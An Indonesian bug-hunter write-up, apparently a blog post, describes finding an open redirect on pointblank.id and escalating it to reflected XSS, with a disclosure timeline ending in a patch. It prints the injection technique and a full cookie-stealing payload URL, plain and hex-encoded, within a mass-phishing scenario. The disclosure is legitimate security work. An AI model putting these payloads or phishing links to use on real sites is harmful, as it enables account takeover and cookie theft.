News Update
Loading...

OPEN REDIRECT LEAD TO XSS INJECTION | POINTBLANK.ID


Apa itu Open Redirect Vulnerability ??

Berdasarkan https://s0cket7.com/open-redirect-vulnerability/ dapat disimpulkan bahwa :
Open Redirect atau Pengalihan Terbukaadalah jenis celah/bug yang memungkinkan seseorang (misalkan : seorang Attacker/Hacker) untuk mengalihkan sebuah situs web (Website Victim) menuju ke situs web apapun tanpa adanya
peringatan akan meninggalkan situs tersebut.

Apa itu XSS Injection ??

Dikutip dari https://id.m.wikipedia.org/wiki/XSS,
XSS merupakan salah satu jenis serangan injeksi code (code injection attack). XSS dilakukan oleh penyerang dengan cara memasukkan kode HTML atau client script code lainnya ke suatu situs. Serangan ini akan seolah-olah datang dari situs tersebut. Akibat serangan ini antara lain penyerang dapat mem-bypass keamanan di sisi klien, mendapatkan informasi sensitif, atau menyimpan aplikasi berbahaya.

fire Proof Of Concept fire

Pada hari Minggu, 07/04/2019 sekitar jam 16.00 saya sedang duduk santai di teras rumah utk menikmati sore hari sambil ngopi . Saat itu saya merasa sangat bosan sehingga akhirnya saya memutuskan mengambil hp Android kesayangan saya dan berencana bermain PUBG sebentar . Sebelum main saya menyempatkan untuk melihat-lihat beranda facebook. Ketika scroll beranda , saya melihat ada postingan dari Official Fanpage PointBlank Zepetto Indonesia tentang update patch serta new map & new mode . Berhubung saya juga sudah lama tidak memainkan game tersebut , saya pun tertarik untuk mencari tahu event² apa saja yg sedang berlangsung di game ini .
Sampe akhirnya saya mengunjungi fanpage dari game ini. Setelah membaca postingan fanpage saya beralih untuk membaca berita langsung dari website resmi nya . Saat itu entah kenapa terlintas di pikiran saya untuk iseng mencari bug dan melakukan penetration testing pada website tersebut.
Screenshot_Websige_Pb_Zepetto
Hal pertama yang akan saya lakukan adalah melakukan pengecekan pada halaman dashboard user/halaman info. Setelah itu saya cek satu-satu pertama pada bagian Submit Ticket lalu halaman Profil dan Notification . Namun saya tidak menemukan adanya celah dibagian tersebut. Berpikir sejenak , sambil menyeruput kopi , tiba-tiba perhatian saya tertuju bagian widget "PUSAT ISI ULANG" .
ss-pusat-isi-ulangPikir saya mungkin saja pada bagian tersebut ada form yg vuln akan xss atau gak sqli :v . Dengan rasa penasaran , saya pun mengklik widget tersebut . Setelah mengklik saya langsung ter-redirect ke link https://topup.pointblank.id/Topup/Index . Terlintas dalam pikiran saya bahwa ketika saya ter-redirect tidak ada
notice akan meninggalkan website https://www.pointblank.id/mypage/infomelainkan langsung ter-redirect begitu saja . "Hmm .. " , guman saya. "Mungkinkah vuln akan open redirect ?",kata saya dalam hati.
Untuk menyelidiki hal tersebut, saya pun mencari tools untuk melakukan sniff pada website, berhubung saya hanya bermodalkan Smartphone Android , saya memakai Net Capture. Sebelum itu saya kembali ke halaman info lalu menyalakan Net Capture dan mengklik ulang widget "PUSAT ISI ULANG PB" . Dan ini hasilnya : ss-hasil-sniff
•Jika kita lihat pada bagian GET ada parameter :
•Lalu saya coba ganti url pada param tsb dengan https://www.google.com , sehingga menjadi seperti ini :
•Hasilnya website ter-redirect dengan baik . Tanpa ada
notice untuk meninggalkan website. ss-sukses-redir-ke-google

•Hasil sniff :
ss-hasil-sniff

"Yeah ! Vuln Open Redirect ! smiley... ", kata saya dengan perasaan senang !
senang
Walau saya sudah menemukan bug open redirect , rasanya saya belum puas. "Mungkin saja bug ini bisa menjadi bug XSS juga!Hmm... ",pikir saya.
hmm
Maka dari itu saya kembali melakukan research . Krn saya sempet melihat² di google dan hacker one, kebanyakan bug Open Redirect "can lead" to XSS Injection .
Sayapun mengecek kembali hasil sniff sebelumnya , dan apa yg saya temukan ?
ss_kodejs

•Berikut kodenya :
<script type="text/javascript">
 $(window).on("load",
 function() {
 
   document.location='https://www.google.com?access_token=8yBkBhDOZOgz1cumNxfU5Ib8Py%2Be4xcn%2FS3buZRsjntsV4459wFto99j%2B83K1W67drk%2BaNP5IyyeaUS%2BZEVrKXdSbOfIbVpA3IZABGgJ7Zk%3D';
 
  
});
 </script>
Melihat kode diatas dapat saya simpulkan bahwa url google.com yang ada pada parameter "?redirect_url=" ter-refleksi ke dalam kode javascript ini sehingga proses redirect dapat berjalan dengan baik .
Disini yang harus saya lakukan adalah melakukan bypass pada document.location . Saya berusaha memahami kode javascript ini dan mencari tahu bagaimana agar saya dapat membypass "document.location" dan memunculkan pop up XSS .
Dibantu oleh teman saya @anysz akhirnya saya sukses melakukan bypass. Berikut langkah-langkahnya : 

Langkah - Langkah Bypassing document.location :

  1. Memahami alur kode dan menemukan inject point : 
    Jika kita lihat , melalui kode di atas inject point nya terletak di akhir url 
    document.location='https://www.google.com' (perhatikan yang saya beri tanda petik , disitulah inject pointnya). Disitulah kita akan mulai melakukan bypass. 
  2. Menggunakan fungsi "strpos()" : 
    Lalu saya mencoba untuk memasukkan .strpos(0,0); 
    (Note : penggunaan titik (.)strpos(0,0) digunakan untuk memanggil fungsi) . Sehingga menjadi seperti ini document.location='https://www.google.com'.strpos(0,0); . Namun tidak terjadi apa² & page tidak ter-redirect.
Note : Disitu 0,0 artinya ambil dari index 0 sampe 0, sedangkan ini kan berarti string kosong. 
  1. Mempertimbangan penggunaan fungsi "substr()" lebih disarankan ketimbang fungsi "strpos()"
    Setelah melalui beberapa pertimbangan , jika kita perhatikan string document.locationitu sudah ada isinya yaitu "google.com" jadi untuk membersihkannya menurut saya (dibantu oleh referensi dari google) lebih prefer menggunakan fungsi substr()ketimbang fungsi strpos() karena substr dapat mengambil slice dari string nya . Saya tambahkan 0,0 menjadi .substr(0,0); , jika kita taro di parameter jadi seperti ini : 
    ?redirect_url=https://www.google.com'.substr(0,0); 

    this_ss_sniff
    this_ss_kodejs
    Namun page tetap tidak ter-redirect. 
  2. Menambahkan fungsi "concat(urlnya)" untuk menggabungan string dengan string dengan urlnya diarray : 
    Maka dari itu saya coba menambahkan .concat('https:','//','ramaren.com'); jika digabungkan menjadi seperti ini 
    document.location='https://www.google.com'.substr(0,0).concat('https:','//','ramaren.com'); . Namun seperti sebelum²nya page masi belom ter-redirect .
  3. Menambahkan "//" dibagian akhir kode : 
    Untuk mengatasi page yang masi belom ter-redirect (belum sukses membypass) itu ternyata akibat dari adanya error syntax pada javascript, solusinya kita perlu menambahkan "//" dibagian akhir. 
    Bentuk url & parameter secara keseluruhan menjadi seperti ini : 
Fungsi "//" sebenarnya apa sih ? Jadi fungsi nya untuk mematikan "?access_token=token" agar tidak terjadi error syntax pada kode javascript tersebut.
Lalu coba kita execute url tersebut di browser dan liat hasilnya :
video_to_gif

Nah sampai pada tahap ini kita sudah berhasil melakukan bypass pada document.location .
•Dan untuk memunculkan Pop Up XSS yang perlu kita lakukan hanya menambahkan :;alert(2);// dan mengganti yang ada pada concat() dari "https://ramaren.com" menjadi "document.location" . Mengapa mesti "document.location" ? Soalnya itu ngereplace document.location sama string yg baru, kalau di replace sama dirinya sendiri kan berarti engggak ada yg berubah. Umpamanya nya jadi kayak gini document.location = document.location , sehingga klu digabungin sama url lengkapnya jadi begini : 
•Lalu coba kita eksekusi di browser.
ss-sukses-xss
yeahh ! sunglasses XSS sukses ter-eksekusi dan memunculkan pop up grin ... 
Saya juga akan menunjukkan bagaimana skema seorang attacker untuk mengelabui korban/victim (disini ceritanya si victim adalah user dari website tersebut) dan mencuri cookienya . Simak berikut ini :

Skema Attacker/Hacker ketika melakukan social engginering kepada korban/user untuk mendapatkan cookie user (lengkap dengan gambar)

  1. Attacker melakukan social engineering melalui email :
    Attacker akan mengirimkan link melalui email kepada user secara mass dengan iming² event berhadiah ;https://www.pointblank.id/topup/auth?redirect_url=//www.google.com/2uX4ygk'.substr(0,0).concat(document.location);document.write('<center><h1><b>THANK YOU FOR YOUR ATTENTION ! :D</b></center></h1>');javascript:prompt("Dibagian ini user cookie user bisa dicuri oleh sang Attacker/Hacker ! Ini dia cookienya :",document.cookie);// 
Agar sang korbang tidak curiga , si Attacker melakukan encode pada url tersebut terutama yang bagian kode javascriptnya , menjadi seperti ini ;https://www.pointblank.id/topup/auth?redirect_url=%2f%2fwww.google.com%2f2uX4ygk%27%2e%73%75%62%73%74%72%280%2c0%29%2e%63%6f%6e%63%61%74%28%64%6f%63%75%6d%65%6e%74%2e%6c%6f%63%61%74%69%6f%6e%29%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%63%65%6e%74%65%72%3e%3c%68%31%3e%3c%62%3e%54%48%41%4e%4b%20%59%4f%55%20%46%4f%52%20%59%4f%55%52%20%41%54%54%45%4e%54%49%4f%4e%20%21%20%3a%44%3c%2f%62%3e%3c%2f%63%65%6e%74%65%72%3e%3c%2f%68%31%3e%27%29%3b%6a%61%76%61%73%63%72%69%70%74%3a%70%72%6f%6d%70%74%28%22%44%69%62%61%67%69%61%6e%20%69%6e%69%20%75%73%65%72%20%63%6f%6f%6b%69%65%20%75%73%65%72%20%62%69%73%61%20%64%69%63%75%72%69%20%6f%6c%65%68%20%73%61%6e%67%20%41%74%74%61%63%6b%65%72%2f%48%61%63%6b%65%72%20%21%20%49%6e%69%20%64%69%61%20%63%6f%6f%6b%69%65%6e%79%61%20%3a%22%2c%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%29%3b%2f%2f 
•Berikut screenshot di sisi Attacker :
ss__email_attacker
2. User membuka kotak masuk email nya dan terpengaruh dengan iming² si Attacker :
Korban/user yang awam akan mudah terlena dan dengan penasaran segera mengklik link tersebut . xD Apalagi melihat link tersebut berasal dari domain resmi pihak Point Blank
•Berikut screenshot di sisi User :
ss_email_user
3. User mengklik link tersebut dengan segera dan Walaaa ! :
gif_si_user_mengklik_link
Sampai pada tahap ini Attacker sudah berhasil melakukan social engineering dan mengelabui User serta mencuri cookienya .relieved
Apalagi kalau akun si User belum diverifikasi , merupakan suatu keberuntungan karena sang Attacker bisa saja dengan mudah mengganti password akun User dan memasukkan emailnya untuk verifikasi akun sehingga Korban/User sama sekali tidak dapat mengakses akunnya lagi.worried 

Impact Bug XSS :

  • Seperti yang sudah saya jelaskan di atas melalui social engineering Attacker bisa mencuri cookie & mengambil alih sepenuhnya akun user.

Impact Bug Open Redirect :

  • Attacker bisa saja menyisipkan website phising yang dishortener dengan bit.ly lalu mengirimkannya ke User/Korban menggunakan email/social media lain . Seperti pada skema XSS di atas , User awam mungkin akan mudah percaya karena melihat link/domain berasal dari domain resmi pihak PointBlank Zepetto Indonesia. 

Referensi :

Timeline :

  • Minggu , 7 April 2019 : menemukan bug , mencari solusi bypass, sukses mendapat cara untuk bypass.
  • Rabu , 10 April 2019 : menuliskan rincian bug di pastebin
  • Kamis , 11 April 2019 : memulai menulis artikel write up via Github
  • Jumat , 12 April 2019 : 
    • Jam 10.00 WIB => mengirim laporan penemuan bug via email cs@zepetto.iddan juga fanpage Facebook Point Blank Zepetto Indonesia
    • Jam 11.00 WIB => mendapat balasan dari Atomatic Reply , yang menyarankan saya untuk melapor via tiket langsung di website
    • Jam 11.30 WIB => melakukan pelaporan via ticket
    • Jam 15.00 WIB => bug dinyatakan valid dan langsung dipatch > admin mengucapkan Terima kasih relieved

Penutup :

Sekian Write Up dan Proof Of Concept dari saya . Jika ada salah dalam penggunaan kata , semoga dapat dimaafkan . 
Pesan saya untuk Bug Hunter lain yang mungkin tidak memiliki fasilitas (laptop/PC) jangan patah semangat , karena seperti saya hanya berbekal Smartphone Android pun kamu tetap bisa selama ada kemauan untuk belajar dan effort yang keras . Terima kasih ! 
Have a Nice Day ! ^^

0 Response to "OPEN REDIRECT LEAD TO XSS INJECTION | POINTBLANK.ID"

Post a Comment

Terima kasih sudah membaca artikel yang saya buat. 👊😎
Silahkan komen kritik / saran untuk membantu saya agar artikel selanjutnya dapat lebih baik lagi.
Perhatian : Mohon untuk tidak komen menggunakan kata kasar !
Terima kasih🙏

Iklan Atas Artikel

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel